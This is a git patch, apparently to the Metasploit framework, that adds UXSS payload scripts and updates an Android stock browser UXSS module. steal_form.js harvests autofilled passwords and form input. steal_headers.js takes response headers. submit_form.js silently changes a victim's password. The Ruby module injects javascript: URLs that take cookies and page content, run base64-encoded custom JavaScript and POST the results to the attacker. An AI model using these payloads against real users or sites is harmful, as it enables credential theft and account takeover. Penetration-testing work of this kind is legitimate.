From 7793ed4fea8824122f4378a0bb71ef12a514ec65 Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Tue, 9 Sep 2014 02:31:27 -0500 Subject: [PATCH] Add some common UXSS scripts. --- data/exploits/uxss/steal_form.js | 33 +++++++++++++++++ data/exploits/uxss/steal_headers.js | 17 +++++++++ data/exploits/uxss/submit_form.js | 36 +++++++++++++++++++ .../gather/android_stock_browser_uxss.rb | 30 +++++++++++----- 4 files changed, 108 insertions(+), 8 deletions(-) create mode 100644 data/exploits/uxss/steal_form.js create mode 100644 data/exploits/uxss/steal_headers.js create mode 100644 data/exploits/uxss/submit_form.js diff --git a/data/exploits/uxss/steal_form.js b/data/exploits/uxss/steal_form.js new file mode 100644 index 0000000000..44f766ac4a --- /dev/null +++ b/data/exploits/uxss/steal_form.js @@ -0,0 +1,33 @@ +/* steal_form.js: can be injected into a frame/window after a UXSS */ +/* exploit to steal any autofilled inputs, saved passwords, or any */ +/* data entered into a form. */ + +/* keep track of what input fields we have discovered */ +var found = {}; +setInterval(function(){ + /* poll the DOM to check for any new input fields */ + var inputs = document.querySelectorAll('input,textarea,select'); + Array.prototype.forEach.call(inputs, function(input) { + var val = input.value||''; + var name = input.getAttribute('name')||''; + var t = input.getAttribute('type')||''; + if (input.tagName == 'SELECT') { + try { val = input.querySelector('option:checked').value } + catch (e) {} + } + if (input.tagName == 'INPUT' && t.toLowerCase()=='hidden') return; + + /* check if this is a valid input/value pair */ + try { + if (val.length && name.length) { + if (found[name] != val) { + + /* new input/value discovered, remember it and send it up */ + found[name] = val; + var result = { name: name, value: val, url: window.location.href, send: true }; + (opener||top).postMessage(JSON.stringify(result), '*'); + } + } + } catch (e) {} + }); +}, 200); diff --git a/data/exploits/uxss/steal_headers.js b/data/exploits/uxss/steal_headers.js new file mode 100644 index 0000000000..a975e2e58b --- /dev/null +++ b/data/exploits/uxss/steal_headers.js @@ -0,0 +1,17 @@ +/* steal_headers.js: can be injected into a frame/window after a UXSS */ +/* exploit to steal the response headers of the loaded URL. */ + +/* send an XHR request to our current page */ +var x = new XMLHttpRequest; +x.open('GET', window.location.href, true); +x.onreadystatechange = function() { + /* when the XHR request is complete, grab the headers and send them back */ + if (x.readyState == 2) { + (opener||top).postMessage(JSON.stringify({ + headers: x.getAllResponseHeaders(), + url: window.location.href, + send: true + }), '*'); + } +}; +x.send(); diff --git a/data/exploits/uxss/submit_form.js b/data/exploits/uxss/submit_form.js new file mode 100644 index 0000000000..6ffcc8409b --- /dev/null +++ b/data/exploits/uxss/submit_form.js @@ -0,0 +1,36 @@ +/* submit_form.js: can be injected into a frame/window after a UXSS */ +/* exploit to modify and submit a form in the target page. */ + +/* modify this hash to your liking */ +var formInfo = { + + /* CSS selector for the form you want to submit */ + selector: 'form[action="/update_password"]', + + /* inject values into some input fields */ + inputs: { + 'user[new_password]': 'pass1234', + 'user[new_password_confirm]': 'pass1234' + } +} + +var c = setInterval(function(){ + /* find the form... */ + var form = document.querySelector(formInfo.selector); + if (!form) return; + + /* loop over every input field, set the value as specified. */ + Array.prototype.forEach.call(form.elements, function(input) { + var inject = formInfo.inputs[input.name]; + if (inject) input.setAttribute('value', inject); + }); + + /* submit the form and clean up */ + form.submit(); + clearInterval(c); + + /* report back */ + var message = "Form submitted to "+form.getAttribute('action'); + var url = window.location.href; + (opener||top).postMessage(JSON.stringify({message: message, url: url}), '*'); +}, 100); diff --git a/modules/auxiliary/gather/android_stock_browser_uxss.rb b/modules/auxiliary/gather/android_stock_browser_uxss.rb index 1300500286..49f87b9ce1 100644 --- a/modules/auxiliary/gather/android_stock_browser_uxss.rb +++ b/modules/auxiliary/gather/android_stock_browser_uxss.rb @@ -53,6 +53,11 @@ class Metasploit3 < Msf::Auxiliary false, "Bypass URLs that have X-Frame-Options by using a one-click popup exploit.", false + ]), + OptBool.new('CLOSE_POPUP', [ + false, + "When BYPASS_XFO is enabled, this closes the popup window after exfiltration.", + true ]) ], self.class) end @@ -76,8 +81,11 @@ class Metasploit3 < Msf::Auxiliary var received = []; window.addEventListener('message', function(e) { - if (bypassXFO && received[JSON.parse(e.data).i]) return; - if (bypassXFO && e.data) received.push(true); + var data = JSON.parse(e.data); + if (!data.send) { + if (bypassXFO && data.i && received[data.i]) return; + if (bypassXFO && e.data) received.push(true); + } var x = new XMLHttpRequest; x.open('POST', window.location, true); x.send(e.data); @@ -105,12 +113,14 @@ class Metasploit3 < Msf::Auxiliary function attack(target, n, i, cachedN) { var exploit = function(){ - window.open('\\u0000javascript:if(document&&document.body){(opener||top).postMessage(JSON.stringify({cookie:document'+ - '.cookie,url:location.href,body:document.body.innerHTML,i:'+(i||0)+'}),"*");'+ - '#{datastore['CUSTOM_JS']||''};}void(0);', n); + window.open('\\u0000javascript:if(document&&document.body){(opener||top).postMessage('+ + 'JSON.stringify({cookie:document.cookie,url:location.href,body:document.body.innerH'+ + 'TML,i:'+(i||0)+'}),"*");eval(atob("#{Rex::Text.encode_base64(datastore['CUSTOM_JS'])}"'+ + '));}void(0);', n); } if (!n) { n = cachedN || randomString(); + var closePopup = #{datastore['CLOSE_POPUP']}; var w = window.open(target, n); var deadman = setTimeout(function(){ clearInterval(clear); @@ -119,15 +129,19 @@ class Metasploit3 < Msf::Auxiliary }, 10000); var clear = setInterval(function(){ if (received[i]) { - try{ w.stop(); }catch(e){} - try{ w.location='data:text/html,

Loading...

'; }catch(e){} + if (i < targets.length-1) { + try{ w.stop(); }catch(e){} + try{ w.location='data:text/html,

Loading...

'; }catch(e){} + } + clearInterval(clear); clearInterval(clear2); clearTimeout(deadman); + if (i < targets.length-1) { setTimeout(function(){ attack(targets[i+1], null, i+1, n); },100); } else { - w.close(); + if (closePopup) w.close(); } } }, 50);